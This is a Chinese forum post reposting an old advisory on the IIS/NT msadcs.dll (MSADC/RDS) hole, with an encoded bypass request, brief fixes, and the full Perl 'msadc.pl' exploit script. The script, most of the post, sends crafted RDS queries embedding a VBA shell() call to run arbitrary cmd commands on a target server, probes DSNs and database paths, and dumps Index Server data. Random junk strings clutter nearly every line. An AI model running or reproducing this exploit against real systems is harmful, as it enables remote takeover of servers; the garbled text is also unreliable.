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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ]rlZP1".  
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涉及程序: Ooz ,?wU6  
Microsoft NT server .==D?#bn  
6iU&9Z<%  
描述: /L^g. ~  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b&rBWp0#  
ps{4_V-3u  
详细: ;b{#$#`=  
如果你没有时间读详细内容的话,就删除: ]pR?/3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll arL>{mj  
有关的安全问题就没有了。 e S8(HI6{^  
59Pc:Gg;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 c< $<n  
*igmi9A  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 T3{O+aRt  
关于利用ODBC远程漏洞的描述,请参看: TWRP|i!i  
z0 9Gp}^;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oV%:XuywT  
VExhN';  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 B"GC|}N )v  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;"MChk  
+dCDk* /m  
这里不再论述。 G8M~}I/)  
3:WqUb\QK  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: uuY^Q;^I*  
=<n ]T;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset V+`kB3GV  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! gRY#pRT6d  
b9j}QK  
' ##?PQ*u  
#将下面这段保存为txt文件,然后: "perl -x 文件名" tRoSq;VrS  
At.& $ t  
#!perl ;73S;IPR  
# 2)=whnFS  
# MSADC/RDS 'usage' (aka exploit) script W>pe-  
# JqzoF}WH  
# by rain.forest.puppy rRe5Q  
# W22S/s  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +VUkV-kP  
# beta test and find errors! 2b$>1O&2  
V8n { k'  
use Socket; use Getopt::Std; ,XT,t[w  
getopts("e:vd:h:XR", \%args); X?_rD'3  
WzzA:X  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  ew1L+  
..`c# O&  
if (!defined $args{h} && !defined $args{R}) { 1ubu~6  
print qq~ hV7EjQp  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -N' (2'  
-h <host> = host you want to scan (ip or domain) bsQ'kBD  
-d <seconds> = delay between calls, default 1 second >e Gg 1  
-X = dump Index Server path table, if available bbC@  
-v = verbose | xB`cSu(  
-e = external dictionary file for step 5 S F)$b  
u2#q7}  
Or a -R will resume a command session ud/!@WG  
v<1@"9EH  
~; exit;} 84(Jo_9  
.V;,6Vq  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; HkD. W6A3  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !4p{ b f  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Kki(A 4;7F  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); JT 7WZc)  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 7\UHADr  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $>/d)o  
$J6 .0O  
if (!defined $args{R}){ $ret = &has_msadc; pz^S3fy  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1clzDwW  
Mk*4J]PP  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" )la3GT*1mS  
. "cmd /c "; RE t&QP  
$in=<STDIN>; chomp $in; x]7:MG$  
$command="cmd /c " . $in ; :BxO6@>Xc  
H1-DK+Q:  
if (defined $args{R}) {&load; exit;} BwHJr(n  
) 9Q+07  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,kJ'_mq  
&try_btcustmr; ,l&?%H9q  
Gpu[<Z4  
print "\nStep 2: Trying to make our own DSN..."; s,_+5ukv  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; K28L(4)  
%B@NW2ZQ[  
print "\nStep 3: Trying known DSNs..."; .F ?ww}2p]  
&known_dsn; /gu VA  
?xaUWD  
print "\nStep 4: Trying known .mdbs..."; ;2kQ)Bq"  
&known_mdb; 2VV>?s  
6/;YS[jX  
if (defined $args{e}){ +C`!4v\n  
print "\nStep 5: Trying dictionary of DSN names..."; 1EV bGe%b  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } v/ry" W  
7@{%S~TN  
print "Sorry Charley...maybe next time?\n"; phDIUhL$z  
exit; 1L <TzQ  
"==c  
############################################################################## "W5MZ  
|)7K(R)(=  
sub sendraw { # ripped and modded from whisker !>Nlp,r&~  
sleep($delay); # it's a DoS on the server! At least on mine... j}Tv/O,f  
my ($pstr)=@_; @* hv|zjs  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || j)@W1I]2#  
die("Socket problems\n"); Ny"9!3V   
if(connect(S,pack "SnA4x8",2,80,$target)){ AON |b\?  
select(S); $|=1; ~?NCmU=3  
print $pstr; my @in=<S>; !/}4_s`,  
select(STDOUT); close(S); /o4_rzR?  
return @in; UA.Tp[u  
} else { die("Can't connect...\n"); }} 0Px Hf*  
JlSqTfA  
############################################################################## ]{tWfv|Xg8  
]:f.="  
sub make_header { # make the HTTP request ^?e[$}  
my $msadc=<<EOT >.SO2w  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 <);j5)/  
User-Agent: ACTIVEDATA Uv59 XF$  
Host: $ip cEHpa%_5  
Content-Length: $clen IEm?'o:  
Connection: Keep-Alive *$7^.eHfdd  
%ZRv+}z  
ADCClientVersion:01.06 Xf;!w:u  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 G:e=9qTf  
\B')2phE  
--!ADM!ROX!YOUR!WORLD! 3JD62wtx  
Content-Type: application/x-varg ;*5z&1O  
Content-Length: $reqlen 1 k!gR  
"pt[Nm76)8  
EOT 6`9QGi,)  
; $msadc=~s/\n/\r\n/g; pRfKlTU\  
return $msadc;} k[mp(  
Z( :\Vj"  
############################################################################## jpi,BVTI-X  
JSg=9p$  
sub make_req { # make the RDS request l4kqz.Z-g  
my ($switch, $p1, $p2)=@_; ,U9j7E<4  
my $req=""; my $t1, $t2, $query, $dsn; %#% YU|4R  
,8*A#cT B  
if ($switch==1){ # this is the btcustmr.mdb query <w&'E6mU  
$query="Select * from Customers where City=" . make_shell(); t_^cqEr  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +!@xH];  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /;_$:`|/  
}*XF- U  
elsif ($switch==2){ # this is general make table query  mTH[*Y,  
$query="create table AZZ (B int, C varchar(10))"; (l][_6Q  
$dsn="$p1";} .NdsKhg b  
e`+  
elsif ($switch==3){ # this is general exploit table query 6 w!qZ4$  
$query="select * from AZZ where C=" . make_shell(); ="T}mc  
$dsn="$p1";} -)J*(7F(6^  
tDAX pi(  
elsif ($switch==4){ # attempt to hork file info from index server T>| +cg  
$query="select path from scope()"; nILUo2e~  
$dsn="Provider=MSIDXS;";} Wr Wz+5M8  
[GyPwb-  
elsif ($switch==5){ # bad query ]@SEOc@ j  
$query="select"; (6[<+j&.  
$dsn="$p1";} '\H & EJ'  
>a@1y8B  
$t1= make_unicode($query); S%p,.0_  
$t2= make_unicode($dsn); :SFf}  
$req = "\x02\x00\x03\x00"; x^3K=l;N  
$req.= "\x08\x00" . pack ("S1", length($t1)); bIt{kzuQC  
$req.= "\x00\x00" . $t1 ; !@gjIYq_Y  
$req.= "\x08\x00" . pack ("S1", length($t2)); }0R"ZPU1Rw  
$req.= "\x00\x00" . $t2 ; P Jb /tKC  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %.[AZ>  
return $req;} 2v?#r"d  
>Dv=lgPF  
############################################################################## / pe.?Zd  
`iuQ.I  
sub make_shell { # this makes the shell() statement 3 } $9./+  
return "'|shell(\"$command\")|'";} #~*v*F~3  
=]Y'xzJuu  
############################################################################## }`whg8 fZ  
un6W|{4]  
sub make_unicode { # quick little function to convert to unicode 4xx?x/q  
my ($in)=@_; my $out; 5'Mw{`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } eJOo~HIWQ  
return $out;} uF,%N   
t2ui9:g4j  
##############################################################################  ">|L<  
Qm3 RXO  
sub rdo_success { # checks for RDO return success (this is kludge) };(2 na  
my (@in) = @_; my $base=content_start(@in); 9MRe?  
if($in[$base]=~/multipart\/mixed/){ {KqW<X6Hp  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $v{s b,  
return 0;} N}bZdE9F  
g[2[ zIB=  
############################################################################## w2"]%WS%  
7<Ut/1$MI  
sub make_dsn { # this makes a DSN for us i/N68  
my @drives=("c","d","e","f"); GB >h8yXH  
print "\nMaking DSN: "; +],2smd@N  
foreach $drive (@drives) { eF 8um$t9  
print "$drive: "; bB.nevb9p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G* mLb1  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" c_?!V  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); S r7EcT-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; iaJN~m\ M  
return 0 if $2 eq "404"; # not found/doesn't exist _#UhXXD  
if($2 eq "200") { ^oHK.x#{  
foreach $line (@results) { ]N'4q}<5o  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "^pF2JI  
} return 0;} \LS s@\$ g  
bir tA{q  
############################################################################## kJXy )  
@(st![i+  
sub verify_exists { Q!Dr3x  
my ($page)=@_; %gEfG#S  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Rm.9`<Y  
return $results[0];} ilj9&.isB  
ctC! b{S"@  
############################################################################## ,J-YfL^x6*  
cRPy5['E  
sub try_btcustmr { j|% C?N  
my @drives=("c","d","e","f"); D2Kh+~l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \U`rF  
ZONe}tv:  
foreach $dir (@dirs) { n]JfdI  
print "$dir -> "; # fun status so you can see progress +>h'^/rAE  
foreach $drive (@drives) { =dC5q{  
print "$drive: "; # ditto 1K$8F ~%Z  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 47/YD y%  
$reqlenlen=length( "$reqlen" ); A^7Y%  
$clen= 206 + $reqlenlen + $reqlen; &_6B{Q  
d 7QWK(d  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); bF3}L=z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} NE$=R"<Gv  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @6DV?VL  
mK7egAo  
############################################################################## ^nL_*+V`f  
u-Ip*1/wp  
sub odbc_error { } SA/,4/9  
my (@in)=@_; my $base; 0j~C6 vp  
my $base = content_start(@in); EEp,Z`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~_L_un.R  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tTrue?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q_R&+@ju  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :] +D+[c)  
return $in[$base+4].$in[$base+5].$in[$base+6];} k!,&L$sG  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; bl B00   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4[]4KKO3Q2  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} b{d@:"  
t?kbN\,  
############################################################################## ;,]Wtmu)7  
6cOm8#  
sub verbose { ;i&'va$  
my ($in)=@_; 3>sA_  
return if !$verbose; &mvC<_1n  
print STDOUT "\n$in\n";} a)8M'f_z  
Co>=<\yi  
############################################################################## ZgI1Byf  
O7RW*V:G@  
sub save {  bR5+({yH  
my ($p1, $p2, $p3, $p4)=@_; D7x"P-ie  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; M>g\Y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; *e05{C:kS  
close OUT;} "(d7:!%  
Go_~8w0<  
############################################################################## djcC m5m  
1vBXO bk  
sub load { ) crhF9!4  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; |P]>[}mD  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); v iY&D  
@p=<IN>; close(IN); ;/Dp  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @ (A[H^E  
$target= inet_aton($ip) || die("inet_aton problems"); 2^7VDqLc  
print "Resuming to $ip ..."; F\;G'dm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; HI30-$9  
if($p[1]==1) { A|d(5{:N  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Lm}:`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Fn!kest  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); EWg\\90  
if (rdo_success(@results)){print "Success!\n";} wGf SVA-q\  
else { print "failed\n"; verbose(odbc_error(@results));}} _6 |lw&o07  
elsif ($p[1]==3){ LY^pmak  
if(run_query("$p[3]")){ 8FThu[  
print "Success!\n";} else { print "failed\n"; }} v5GV"qY  
elsif ($p[1]==4){ q>*+.~  
if(run_query($drvst . "$p[3]")){ 8?O6IDeW  
print "Success!\n"; } else { print "failed\n"; }} @ zE>n  
exit;} !1}A\S  
q~=]_PMP  
############################################################################## |^i+Srh  
bEE'50 D  
sub create_table { W`^Zb[  
my ($in)=@_; V1j5jjck  
$reqlen=length( make_req(2,$in,"") ) - 28; IPoNAi<b  
$reqlenlen=length( "$reqlen" ); 3R[5prE<  
$clen= 206 + $reqlenlen + $reqlen; O?9&6x   
my @results=sendraw(make_header() . make_req(2,$in,"")); {\L /?#  
return 1 if rdo_success(@results); ZLJfSnB  
my $temp= odbc_error(@results); verbose($temp); b}9Ry"  
return 1 if $temp=~/Table 'AZZ' already exists/; m. G}# /  
return 0;} -Ug  
=:zmF]j9  
############################################################################## ayJKt03\O\  
M38QA  
sub known_dsn { (P[:g  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _s Z9p4]  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", <o";?^0Q  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^{GnEqml&  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); --S2lN/:T  
z5v)~+"1  
foreach $dSn (@dsns) { 7N / v  
print "."; m]$!wp  
next if (!is_access("DSN=$dSn"));  T^ ^o  
if(create_table("DSN=$dSn")){ ~g+?]Lk}  
print "$dSn successful\n"; %klC& _g~_  
if(run_query("DSN=$dSn")){ mh"&KX86W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { lmZ Ssx  
print "Something's borked. Use verbose next time\n";}}} print "\n";} FaC;vuSpy  
M3350  
############################################################################## R*D0A@  
&oTUj'$  
sub is_access { g jJ?*N[  
my ($in)=@_; <3iL5}  
$reqlen=length( make_req(5,$in,"") ) - 28; #$QC2;/)F  
$reqlenlen=length( "$reqlen" ); ;5A  
$clen= 206 + $reqlenlen + $reqlen; < 6[XE  
my @results=sendraw(make_header() . make_req(5,$in,"")); lUd/^u`  
my $temp= odbc_error(@results); Ms.1RCup  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); A7|!&fi  
return 0;} wvum7K{tI  
F{a--  
############################################################################## k1HukGa  
pzP~,cdf  
sub run_query { mVN^X/L(y  
my ($in)=@_; 0Kxc$c  
$reqlen=length( make_req(3,$in,"") ) - 28; +^ n\?!  
$reqlenlen=length( "$reqlen" ); j^}p'w Tu{  
$clen= 206 + $reqlenlen + $reqlen; pDO&I]S`q0  
my @results=sendraw(make_header() . make_req(3,$in,"")); (5] |Kcp|  
return 1 if rdo_success(@results); jemg#GB8  
my $temp= odbc_error(@results); verbose($temp); e.%` tK3J  
return 0;} #`rvL6W q}  
EM+#h'%-  
############################################################################## L<encPJt  
r<38; a  
sub known_mdb { 7yLO<o?9w  
my @drives=("c","d","e","f","g"); j_VTa/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _Kg:jal  
my $dir, $drive, $mdb; mr]IxTv  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ({g7{tUy^H  
;#G)([  
# this is sparse, because I don't know of many A>8uLO G}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .olDmFQD  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", =#||&1U$  
"\\system32\\certmdb.mdb", Q<.84 7 )  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b/:&iG;  
x,a(O@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h\ema|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 5"=qVmT)  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Z> jk\[  
"\\cfusion\\cfapps\\security\\realm_.mdb", %Ji@\|Zkf  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8|uFW7Q  
"\\cfusion\\database\\cfexamples.mdb", /l-lkG5  
"\\cfusion\\database\\cfsnippets.mdb", vq|o}6Et  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ORhe?E]  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?+)O4?#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", c0.i  
"\\cfusion\\database\\smpolicy.mdb", o;+$AU1f  
"\\cfusion\\database\cypress.mdb", ;ZMm6o  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s+;J`_M  
"\\website\\cgi-win\\dbsample.mdb", ^| L@f  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", GE]cH6E  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" fX=o,=-f  
); #these are just Sdl1k+u  
foreach $drive (@drives) { u6{= Z:  
foreach $dir (@dirs){ PMzPe"3M  
foreach $mdb (@sysmdbs) { ;q&6WO  
print "."; j] \3>.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Z?yMy zT  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; v`ckvl)(C  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ b13XHR)0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; &L[7jA'[J  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ?YzOA${  
og<mFbqkq7  
foreach $drive (@drives) { 5(0f"zY  
foreach $mdb (@mdbs) { (he cvJ  
print "."; 7/nnl0u8  
if(create_table($drv . $drive . $dir . $mdb)){ dYdZt<6W<(  
print "\n" . $drive . $dir . $mdb . " successful\n"; &L[oQni];2  
if(run_query($drv . $drive . $dir . $mdb)){ dGf:0xE"  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; x#ub % t  
} else { print "Something's borked. Use verbose next time\n"; }}}} iq_y80g`8h  
} EY=`/~|c  
@giJ&3S,  
############################################################################## .:?X<=!S&t  
V3 j1M?>  
sub hork_idx { ns|)VX   
print "\nAttempting to dump Index Server tables...\n"; )&R^J;W$M1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;Z%PBMa  
$reqlen=length( make_req(4,"","") ) - 28; \~|+*^e)  
$reqlenlen=length( "$reqlen" ); qP6 YnJWl  
$clen= 206 + $reqlenlen + $reqlen; q 65mR!)  
my @results=sendraw2(make_header() . make_req(4,"","")); "L'0"  
if (rdo_success(@results)){ ,f ..46G  
my $max=@results; my $c; my %d; &VG|*&M  
for($c=19; $c<$max; $c++){ 0Q^ -d+!  
$results[$c]=~s/\x00//g; YY~BNQn6d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V7}5Zw1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 34ij5bko_)  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Ve,h]/G  
$d{"$1$2"}="";} +L(0R&C  
foreach $c (keys %d){ print "$c\n"; } i;4|UeUl  
} else {print "Index server doesn't seem to be installed.\n"; }} /[Oo*}Dc=F  
"iFA&$\  
############################################################################## jiS|ara"  
aChyl;#E  
sub dsn_dict { _&!%yW@  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); vK\n4mE[,  
while(<IN>){ HPT{83  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <xOv0B  
next if (!is_access("DSN=$dSn")); T~B'- >O  
if(create_table("DSN=$dSn")){ N|cWTbi  
print "$dSn successful\n"; >_3+s~  
if(run_query("DSN=$dSn")){ 2$8#ePyq*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P|mV((/m4  
print "Something's borked. Use verbose next time\n";}}} 2 MFGKzO  
print "\n"; close(IN);} *~b3FLzq  
n3w(zB  
############################################################################## ?' F>DN  
.I%p0ds1r  
sub sendraw2 { # ripped and modded from whisker sU>!sxW  
sleep($delay); # it's a DoS on the server! At least on mine... )Ih '0>=  
my ($pstr)=@_; LwDm(gG  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &w@~@]  
die("Socket problems\n"); '_)NI  
if(connect(S,pack "SnA4x8",2,80,$target)){ axT-  
print "Connected. Getting data"; r,^}/<*  
open(OUT,">raw.out"); my @in; A#&Q(g\YE  
select(S); $|=1; print $pstr; ="fq.Tt  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &^WJ:BvA|^  
close(OUT); select(STDOUT); close(S); return @in; q}Wd`>VDR  
} else { die("Can't connect...\n"); }} lLD-QO}/  
'^Kmfc  
############################################################################## B{IYVviiP  
4Y>v+N^  
sub content_start { # this will take in the server headers jA ?tDAx`  
my (@in)=@_; my $c; 2K/+6t}  
for ($c=1;$c<500;$c++) { pyPS5vWG  
if($in[$c] =~/^\x0d\x0a/){ Of| e]GR  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } c-S_{~~  
else { return $c+1; }}} joaf0  
return -1;} # it should never get here actually yl63VX8w}  
XAN{uD^3\%  
############################################################################## 4 I}xygV  
~_vzss3-C  
sub funky { z:PH _N~  
my (@in)=@_; my $error=odbc_error(@in); )3O0:]<H  
if($error=~/ADO could not find the specified provider/){ C4V#qhj  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ni @Mqb  
exit;} CV <@Rgoa  
if($error=~/A Handler is required/){ 6*@\Qsp615  
print "\nServer has custom handler filters (they most likely are patched)\n"; "52nT  
exit;} mG,%f"b0  
if($error=~/specified Handler has denied Access/){ &=SP"@D  
print "\nServer has custom handler filters (they most likely are patched)\n"; -OLXRc=  
exit;}} ![O@{/  
IEb"tsel  
############################################################################## K*&?+_v :  
F^iv1b  
sub has_msadc { F_Q,j]0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \L14rQ t  
my $base=content_start(@results); H]:z:AAvX  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Bsm>^zZ`YU  
return 0;} $)OUOv  
h'8w<n+%)  
######################## 7Gb(&'n  
s(yVE  
S30@|@fTz  
解决方案: H*U\P2C!)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !X 3/2KRP7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 FrSeR9b  
A:"J&TbBx  
拿出来充数 哈哈
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